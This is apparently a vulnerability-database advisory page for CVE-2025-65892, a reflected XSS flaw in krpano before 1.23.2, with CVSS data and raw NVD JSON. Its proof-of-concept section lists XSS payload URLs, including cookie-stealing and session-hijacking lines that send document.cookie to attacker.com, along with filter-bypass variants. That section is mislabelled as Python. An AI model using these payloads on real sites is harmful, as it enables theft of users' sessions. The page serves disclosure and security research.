Security Vulnerability Report
中文
CVE-2025-65892 CVSS 6.1 MEDIUM

CVE-2025-65892

Published: 2025-11-29 04:15:57
Last Modified: 2025-12-23 16:03:25

Description

Reflected Cross-Site Scripting (rXSS) in krpano before version 1.23.2 allows a remote unauthenticated attacker to execute arbitrary JavaScript in the victim's browser via a crafted URL to the passQueryParameters function with the xml parameter enabled.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:krpano:krpano:*:*:*:*:*:*:*:* - VULNERABLE
krpano < 1.23.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-65892 PoC: Reflected XSS in krpano passQueryParameters --> <!-- Target: krpano < 1.23.2 with xml parameter enabled --> <!-- Malicious URL payload --> <!-- Replace 'http://target.com/krpano/' with actual krpano installation URL --> <!-- Basic XSS PoC --> https://example.com/krpano/?xml=<script>alert('XSS')</script> <!-- Cookie stealing PoC --> https://example.com/krpano/?xml=<img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)"> <!-- Session hijacking PoC --> https://example.com/krpano/?xml=<script>document.location='https://attacker.com/steal?data='+btoa(document.cookie)</script> <!-- Using SVG tag to bypass filters --> https://example.com/krpano/?xml=<svg/onload=alert(document.domain)> <!-- HTML encoding bypass attempt --> https://example.com/krpano/?xml=<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65892", "sourceIdentifier": "[email protected]", "published": "2025-11-29T04:15:57.367", "lastModified": "2025-12-23T16:03:24.960", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Reflected Cross-Site Scripting (rXSS) in krpano before version 1.23.2 allows a remote unauthenticated attacker to execute arbitrary JavaScript in the victim's browser via a crafted URL to the passQueryParameters function with the xml parameter enabled."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:krpano:krpano:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.23.2", "matchCriteriaId": "4570F76A-F701-4A0F-B606-18A748539333"}]}]}], "references": [{"url": "https://krpano.com/docu/releasenotes/?version=1.23.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://krpano.com/forum/wbb/index.php?thread/20554-krpano-1-23-3d-gaussian-splatting-support/&postID=96997#post96997", "source": "[email protected]", "tags": ["Issue Tracking"]}]}}